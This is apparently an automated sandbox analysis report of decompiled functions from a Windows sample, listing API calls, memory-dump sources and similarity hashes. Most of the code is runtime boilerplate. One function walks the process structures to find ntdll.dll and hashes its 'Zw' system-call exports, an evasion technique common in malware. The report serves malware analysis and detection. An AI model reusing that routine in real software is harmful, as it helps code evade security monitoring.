				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x159060; // 0x1f9a9bdf
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x170db8 = _t6;
				 *0x170db4 = _t22;
				 *0x170db0 = _t25;
				 *0x170dac = _t21;
				 *0x170da8 = _t27;
				 *0x170da4 = _t26;
				 *0x170dd0 = ss;
				 *0x170dc4 = cs;
				 *0x170da0 = ds;
				 *0x170d9c = es;
				 *0x170d98 = fs;
				 *0x170d94 = gs;
				asm("pushfd");
				_pop( *0x170dc8);
				 *0x170dbc =  *_t31;
				 *0x170dc0 = _v0;
				 *0x170dcc =  &_a4;
				 *0x170d08 = 0x10001;
				_t11 =  *0x170dc0; // 0x0
				 *0x170cbc = _t11;
				 *0x170cb0 = 0xc0000409;
				 *0x170cb4 = 1;
				_t12 =  *0x159060; // 0x1f9a9bdf
				_v812 = _t12;
				_t13 =  *0x159064; // 0xe0656420
				_v808 = _t13;
				 *0x170d00 = IsDebuggerPresent();
				_push(1);
				E0010A4FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x110570);
				if( *0x170d00 == 0) {
					_push(1);
					E0010A4FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x001059e6
0x001059e6
0x001059e6
0x001059e6
0x001059e6
0x001059e6
0x001059e6
0x001059ec
0x001059ee
0x001059ee
0x001068a5
0x001068aa
0x001068b0
0x001068b6
0x001068bc
0x001068c2
0x001068c8
0x001068cf
0x001068d6
0x001068dd
0x001068e4
0x001068eb
0x001068f2
0x001068f3
0x001068fc
0x00106904
0x0010690c
0x00106917
0x00106921
0x00106926
0x0010692b
0x00106935
0x0010693f
0x00106944
0x0010694a
0x0010694f
0x0010695b
0x00106960
0x00106962
0x0010696a
0x00106975
0x00106982
0x00106984
0x00106986
0x0010698b
0x0010699f

APIs

IsDebuggerPresent.KERNEL32 ref: 00106955
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0010696A
UnhandledExceptionFilter.KERNEL32(00110570), ref: 00106975
GetCurrentProcess.KERNEL32(C0000409), ref: 00106991
TerminateProcess.KERNEL32(00000000), ref: 00106998

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 0386ff7910fe616fac398afec395da2ff59fff3b69dcdda953c01dfa6e666739
Instruction ID: 56366e4e2cf26ffe87a7f3428ee3e031056d0c5830fccfd7986f72adb9105542
Opcode Fuzzy Hash: 0386ff7910fe616fac398afec395da2ff59fff3b69dcdda953c01dfa6e666739
Instruction Fuzzy Hash: 6C21BAB4805304EFD7A6DFE9ED49A853BB8BB4C311F50911AE84C86AB0E7B069C0CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000F4890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E000F4890(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _v8;
				struct _OSVERSIONINFOA _v156;
				signed int _t9;
				intOrPtr _t16;
				intOrPtr _t19;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				signed int _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t19 = __ebx;
				_t9 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t9 ^ _t28;
				E00106820( &(_v156.dwMajorVersion), 0, 0x90);
				_v156.dwOSVersionInfoSize = 0x94;
				if(GetVersionExA( &_v156) == 0) {
					L5:
					return E001059E6(1, _t19, _v8 ^ _t28, _t25, _t26, _t27);
				} else {
					_t16 = _v156.dwMajorVersion;
					if(_t16 >= 5 || _t16 == 4 && _v156.dwMinorVersion >= 0x5a) {
						return E001059E6(0, _t19, _v8 ^ _t28, _t25, _t26, _t27);
					} else {
						goto L5;
					}
				}
			}

0x000f4890
0x000f4890
0x000f4890
0x000f4899
0x000f48a0
0x000f48b1
0x000f48c0
0x000f48d2
0x000f48fd
0x000f490f
0x000f48d4
0x000f48d4
0x000f48dd
0x000f48fc
0x00000000
0x00000000
0x00000000
0x000f48dd

APIs

_memset.LIBCMT ref: 000F48B1
GetVersionExA.KERNEL32(?), ref: 000F48CA

Strings

Z, xrefs: 000F48E4

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Version_memset
String ID: Z
API String ID: 963298953-1505515367
Opcode ID: a376e3908cc99b8cb58e7862137f39cad418debde0a7be0acae1c013dcfc15dc
Instruction ID: 3155eaa4a04d54eff710e49a4e6832bb3ef068aa2d619fc6c57af41ab7b1c5e5
Opcode Fuzzy Hash: a376e3908cc99b8cb58e7862137f39cad418debde0a7be0acae1c013dcfc15dc
Instruction Fuzzy Hash: 33F0A430A0020C9BDB60DB74ED46B6EB3F5DB15714F4000A9EA0ED6682DF709E89DB81

Uniqueness

Uniqueness Score: -1.00%

Function 001054F5 Relevance: 2.9, APIs: 2, Instructions: 375
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E001054F5(void* __eflags) {
				intOrPtr _v0;
				intOrPtr _t3;

				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				0;
				E00104820(__eflags, 0xf516e1fb);
				_t3 =  *0x170c00; // 0x0
				_push(_v0);
				if(_t3 != 1) {
					__imp__InterlockedPushEntrySList(_t3);
					return _t3;
				} else {
					return HeapFree(GetProcessHeap(), 0, ??);
				}
			}

0x00105500
0x00105504
0x00105508
0x0010550c
0x00105510
0x00105514
0x00105518
0x0010551c
0x00105520
0x00105524
0x00105528
0x0010552c
0x00105530
0x00105534
0x00105538
0x0010553c
0x00105540
0x00105544
0x00105548
0x0010554c
0x00105550
0x00105554
0x00105558
0x0010555c
0x00105560
0x00105564
0x00105568
0x0010556c
0x00105570
0x00105574
0x00105578
0x0010557c
0x00105580
0x00105584
0x00105588
0x0010558c
0x00105590
0x00105594
0x00105598
0x0010559c
0x001055a0
0x001055a4
0x001055a8
0x001055ac
0x001055b0
0x001055b4
0x001055b8
0x001055bc
0x001055c0
0x001055c4
0x001055c8
0x001055cc
0x001055d0
0x001055d4
0x001055d8
0x001055dc
0x001055e0
0x001055e4
0x001055e8
0x001055ec
0x001055f0
0x001055f4
0x001055f8
0x001055fc
0x00105600
0x00105604
0x00105608
0x0010560c
0x00105610
0x00105614
0x00105618
0x0010561c
0x00105620
0x00105624
0x00105628
0x0010562c
0x00105630
0x00105634
0x00105638
0x0010563c
0x00105640
0x00105644
0x00105648
0x0010564c
0x00105650
0x00105654
0x00105658
0x0010565c
0x00105660
0x00105662
0x0010566c
0x00105671
0x00105677
0x0010568b
0x00105692
0x00105679
0x00105689
0x00105689

APIs

GetProcessHeap.KERNEL32(00000000,?,?,0010570E,?,?,000F5733,?), ref: 0010567B
HeapFree.KERNEL32(00000000,?,0010570E,?,?,000F5733,?), ref: 00105682
InterlockedPushEntrySList.KERNEL32(00000000,?,?,0010570E,?,?,000F5733,?), ref: 0010568B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Heap$EntryFreeInterlockedListProcessPush
String ID:
API String ID: 1982578398-0
Opcode ID: c8e842ee0e4aecfb9199cf7031ac9db65b466bd6c18161637172131428d98090
Instruction ID: ea8fba95b68a91d3a85204cf6dafa7e5d75efe79d9504aae7f6a6ba645b11132
Opcode Fuzzy Hash: c8e842ee0e4aecfb9199cf7031ac9db65b466bd6c18161637172131428d98090
Instruction Fuzzy Hash: B3D0A731440204B7CF0117D4BD48E573759E759312F104501F60886450CFB1D5C08A80

Uniqueness

Uniqueness Score: -1.00%

Function 00104660 Relevance: 2.6, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00104660() {
				intOrPtr* _v8;
				signed short* _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _t53;
				signed short* _t60;
				intOrPtr* _t62;
				signed int _t67;
				intOrPtr _t71;
				intOrPtr _t73;
				intOrPtr _t79;
				signed int _t83;
				intOrPtr _t85;
				intOrPtr _t89;
				intOrPtr _t94;
				intOrPtr _t100;
				signed int _t101;
				intOrPtr* _t107;
				signed int _t109;
				void* _t111;
				signed int _t112;

				if( *0x15ae08 == 0) {
					_t107 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc));
					_t71 =  *((intOrPtr*)(_t107 + 0x18));
					_t53 = 0;
					if(_t71 == 0) {
						L8:
						return 0;
					} else {
						do {
							_t89 = _t71;
							_t73 =  *((intOrPtr*)( *((intOrPtr*)(_t89 + 0x3c)) + _t89 + 0x78));
							if(_t73 == 0) {
								goto L6;
							} else {
								_t53 = _t73 + _t89;
								_t85 =  *((intOrPtr*)(_t53 + 0xc));
								if(( *(_t85 + _t89) | 0x20202020) != 0x6c64746e || ( *(_t85 + _t89 + 4) | 0x20202020) != 0x6c642e6c) {
									goto L6;
								}
							}
							break;
							L6:
							_t107 =  *_t107;
							_t71 =  *((intOrPtr*)(_t107 + 0x18));
						} while (_t71 != 0);
						if(_t53 != 0) {
							_t109 =  *(_t53 + 0x18);
							_t100 =  *((intOrPtr*)(_t53 + 0x1c)) + _t89;
							_v16 = _t109;
							_v20 = _t100;
							_t67 = 0;
							_v12 =  *((intOrPtr*)(_t53 + 0x24)) + _t89 + _t109 * 2 - 2;
							_v8 =  *((intOrPtr*)(_t53 + 0x20)) + _t89 + _t109 * 4 - 4;
							do {
								_t60 =  *_v8 + _t89;
								if( *_t60 != 0x775a) {
									goto L16;
								} else {
									_t83 = 0xf1171612;
									if( *_t60 != 0) {
										do {
											_t112 =  *_t60 & 0x0000ffff;
											_t60 =  &(_t60[0]);
											asm("ror edi, 0x8");
											_t83 = _t83 ^ _t83 + _t112;
										} while ( *_t60 != 0);
										_t100 = _v20;
										_t109 = _v16;
									}
									 *(0x15ae0c + _t67 * 8) = _t83;
									 *((intOrPtr*)(0x15ae10 + _t67 * 8)) =  *((intOrPtr*)(_t100 + ( *_v12 & 0x0000ffff) * 4));
									_t67 = _t67 + 1;
									if(_t67 != 0x1f4) {
										goto L16;
									}
								}
								break;
								L16:
								_v8 = _v8 - 4;
								_v12 = _v12 - 2;
								_t109 = _t109 - 1;
								_v16 = _t109;
							} while (_t109 != 0);
							_t101 = 0;
							_t42 = _t67 - 1; // 0x0
							 *0x15ae08 = _t67;
							_v16 = 0;
							if(_t42 != 0) {
								do {
									_t111 = 0;
									if(_t67 - _t101 != 1) {
										_t62 = 0x15ae10;
										do {
											_t79 =  *_t62;
											_t44 = _t62 + 8; // 0x694f0
											_t94 =  *_t44;
											if(_t79 > _t94) {
												_t45 = _t62 - 4; // 0xcc551765
												_t46 = _t62 + 4; // 0x812baf9d
												 *((intOrPtr*)(_t62 + 4)) =  *_t45;
												_t101 = _v16;
												 *((intOrPtr*)(_t62 - 4)) =  *_t46;
												 *_t62 = _t94;
												 *((intOrPtr*)(_t62 + 8)) = _t79;
												_t67 =  *0x15ae08; // 0x1e1
											}
											_t111 = _t111 + 1;
											_t62 = _t62 + 8;
										} while (_t111 < _t67 - _t101 - 1);
									}
									_t101 = _t101 + 1;
									_t51 = _t67 - 1; // -1
									_v16 = _t101;
								} while (_t101 < _t51);
							}
							return 1;
						} else {
							goto L8;
						}
					}
				} else {
					return 1;
				}
			}

0x0010466d
0x00104683
0x00104686
0x00104689
0x0010468e
0x001046d3
0x001046da
0x00104690
0x00104690
0x00104690
0x00104695
0x0010469b
0x00000000
0x0010469d
0x0010469d
0x001046a0
0x001046b2
0x00000000
0x00000000
0x001046b2
0x00000000
0x001046c6
0x001046c6
0x001046c8
0x001046cb
0x001046d1
0x001046db
0x001046eb
0x001046f6
0x001046f9
0x001046fc
0x001046fe
0x00104701
0x00104704
0x00104709
0x00104713
0x00000000
0x00104715
0x00104718
0x0010471d
0x00104720
0x00104720
0x00104725
0x00104726
0x0010472b
0x0010472d
0x00104732
0x00104735
0x00104735
0x0010473b
0x00104748
0x0010474f
0x00104756
0x00000000
0x00000000
0x00104756
0x00000000
0x00104758
0x00104758
0x0010475c
0x00104760
0x00104761
0x00104764
0x00104768
0x0010476a
0x0010476d
0x00104773
0x00104778
0x00104780
0x00104784
0x00104787
0x00104789
0x00104790
0x00104790
0x00104792
0x00104792
0x00104797
0x00104799
0x0010479c
0x0010479f
0x001047a2
0x001047a5
0x001047a8
0x001047aa
0x001047ad
0x001047ad
0x001047b7
0x001047b9
0x001047bc
0x00104790
0x001047c0
0x001047c1
0x001047c4
0x001047c7
0x00104780
0x001047d6
0x00000000
0x00000000
0x00000000
0x001046d1
0x0010466f
0x00104677
0x00104677

Strings

ntdl, xrefs: 001046AC
l.dl, xrefs: 001046BE

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID:
String ID: l.dl$ntdl
API String ID: 0-1236859653
Opcode ID: 10a2e666df32bee08ebb0337b06e40436b750ff831d9746c9c651f880d8da755
Instruction ID: 0cdab877ef7beb653ca05f4bd6016ac45fc738f767914e79dde08750820aa5fd
Opcode Fuzzy Hash: 10a2e666df32bee08ebb0337b06e40436b750ff831d9746c9c651f880d8da755
Instruction Fuzzy Hash: BA51C7B6E012148FCB24CF59D4D0679B7F2FF89310B1A82AED9459B761D771AD41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 000F15C0 Relevance: 1.5, APIs: 1, Instructions: 38
comCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E000F15C0(void* __ecx, intOrPtr* _a4) {
				void* _t5;
				intOrPtr* _t10;
				void* _t15;
				intOrPtr* _t18;
				intOrPtr* _t19;

				_t10 = _a4;
				if(_t10 != 0) {
					_t15 = 0;
					_t18 = __ecx + 0x28;
					if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
						L4:
						 *_t10 =  *_t18;
						_t19 =  *_t18;
						 *((intOrPtr*)( *((intOrPtr*)( *_t19 + 4))))(_t19);
					} else {
						__imp__CoCreateInstance(0x1104d8, 0, 1, 0x112e4c, _t18);
						_t15 = _t5;
						if(_t15 >= 0) {
							goto L4;
						}
					}
					return _t15;
				} else {
					return 0x80004003;
				}
			}

0x000f15c4
0x000f15c9
0x000f15d7
0x000f15dc
0x000f15df
0x000f15fb
0x000f15fd
0x000f15ff
0x000f1607
0x000f15e1
0x000f15ef
0x000f15f5
0x000f15f9
0x00000000
0x00000000
0x000f15f9
0x000f160f
0x000f15cb
0x000f15d2
0x000f15d2

APIs

CoCreateInstance.OLE32(001104D8,00000000,00000001,00112E4C,?), ref: 000F15EF

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 13c03de762c6399045a8f71436ab3c701de49de8d2295ba5e4c5924bdab58fe5
Instruction ID: 28f722b2caaf7c31195853fd5311463bace225c1b24e37e0cccefe151dadb4e6
Opcode Fuzzy Hash: 13c03de762c6399045a8f71436ab3c701de49de8d2295ba5e4c5924bdab58fe5
Instruction Fuzzy Hash: C8F05476200214EBD7219E4AAC80D97BBE9EBDD7747204029FB4C97600DA729852D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00109CD1 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00109CD1() {

				SetUnhandledExceptionFilter(E00109C8F);
				return 0;
			}

0x00109cd6
0x00109cde

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00019C8F), ref: 00109CD6

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 204d150791376941cdad82269f27fbff636ace5ec89eff201a705d5b17bac816
Instruction ID: 938a00bab1f167e1fdcb157b387db104059ecd0f73a8fb227c373fab848caa20
Opcode Fuzzy Hash: 204d150791376941cdad82269f27fbff636ace5ec89eff201a705d5b17bac816
Instruction Fuzzy Hash: 70900270A5114056D65617B15E1D45625D06B8C716B424454B055C84A5EBE480805551

Uniqueness

Uniqueness Score: -1.00%

Function 0252096F Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction ID: aea7f6c118c6da8dca1f4ea0f35786fc9a1d3b190066b99fbb8e021fd6772697
Opcode Fuzzy Hash: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction Fuzzy Hash: 70F1F8B4A02219EFDB04CF94C990AAEBBB1FF89304F208558E905AB3C1D735EA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 02520467 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction ID: b6352a4ced422daaa9e6bc2778c319a1c24e6954e7fa2d30325796f51715002d
Opcode Fuzzy Hash: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction Fuzzy Hash: AD31F536A0531A8FC710DF18C480A2AB7E5FF9A308F4549ADE595873D2D330F90ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 02531A5F Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3825faf63fa0ff6435f59ea36599fc7611a0e4e53b97de03523db55ee4051b
Instruction ID: 333eea5dee2e343bb00c341eb8fe06bf37e762eeefd5c7ced5dcbfcb5df87b3b
Opcode Fuzzy Hash: 2e3825faf63fa0ff6435f59ea36599fc7611a0e4e53b97de03523db55ee4051b
Instruction Fuzzy Hash: 3DF0B42106C7C69ADBA6DF38C4A40C3FFE1AF4F31038A65CCC8C00D413C2109495D781

Uniqueness

Uniqueness Score: -1.00%

Function 02524857 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction ID: 88215b3929851b503fb9e0336a359976704c6dde636ba1c8479b7b66991880c0
Opcode Fuzzy Hash: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction Fuzzy Hash: 25C04C36221850CFC781CF18E444E81B3E4FB09631B068491E805DB721D234EC41CA40

Uniqueness

Uniqueness Score: -1.00%

Function 0252F357 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction ID: 88215b3929851b503fb9e0336a359976704c6dde636ba1c8479b7b66991880c0
Opcode Fuzzy Hash: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction Fuzzy Hash: 25C04C36221850CFC781CF18E444E81B3E4FB09631B068491E805DB721D234EC41CA40

Uniqueness

Uniqueness Score: -1.00%

Function 04003090 Relevance: .0, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E04003090() {

				asm("lodsd");
				return  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 8));
			}

0x0400309f
0x040030a4

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction ID: 88215b3929851b503fb9e0336a359976704c6dde636ba1c8479b7b66991880c0
Opcode Fuzzy Hash: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction Fuzzy Hash: 25C04C36221850CFC781CF18E444E81B3E4FB09631B068491E805DB721D234EC41CA40

Uniqueness

Uniqueness Score: -1.00%

Function 00103960 Relevance: 63.3, APIs: 35, Strings: 1, Instructions: 305
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00103960(struct HBRUSH__* __ecx, struct HDC__* __edx, struct HDC__** _a4, int _a8, int _a12, int _a16, int _a20, struct HDC__* _a24, void* _a28) {
				signed int _v12;
				intOrPtr _v16;
				int _v24;
				int _v28;
				int _v32;
				int _v36;
				int _v40;
				int _v44;
				intOrPtr _v48;
				int _v52;
				int _v56;
				struct tagBITMAPINFO _v60;
				struct tagRECT _v76;
				struct HDC__* _v80;
				struct HDC__* _v84;
				struct HDC__* _v88;
				struct HDC__* _v92;
				struct HDC__** _v96;
				void* _v100;
				struct HBITMAP__* _v104;
				struct HBITMAP__* _v108;
				void* _v112;
				void* _v116;
				void* _v120;
				void* _v124;
				void* _v128;
				struct HBRUSH__* _v132;
				void* _v136;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t90;
				struct HDC__* _t92;
				void* _t98;
				void* _t119;
				void* _t120;
				struct HDC__* _t121;
				int _t141;
				int _t155;
				struct HDC__* _t156;
				long _t178;
				struct HBRUSH__* _t194;
				struct HDC__** _t201;
				struct HDC__* _t202;
				struct HDC__** _t203;
				struct HDC__* _t204;
				void* _t205;
				struct HDC__* _t206;
				void* _t207;
				signed int _t208;

				_t184 = __edx;
				_t90 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t90 ^ _t208;
				_t92 = _a24;
				_t155 = _a20;
				_t201 = _a4;
				_v132 = __ecx;
				_v96 = _t201;
				_v92 = _t92;
				_v100 = __edx;
				_v120 = _a28;
				if(_t92 == 0) {
					_t184 =  *_t201;
					_t92 = CreateCompatibleDC( *_t201);
				}
				_v80 = _t92;
				if(_t92 == 0) {
					L6:
					return E001059E6(0, _t155, _v12 ^ _t208, _t184, _t201, _t206);
				} else {
					_t206 = CreateCompatibleDC( *_t201);
					_v88 = _t206;
					if(_t206 != 0) {
						_v56 = _a16;
						_t186 =  &_v60;
						_v60.bmiHeader = 0x28;
						_v52 = _t155;
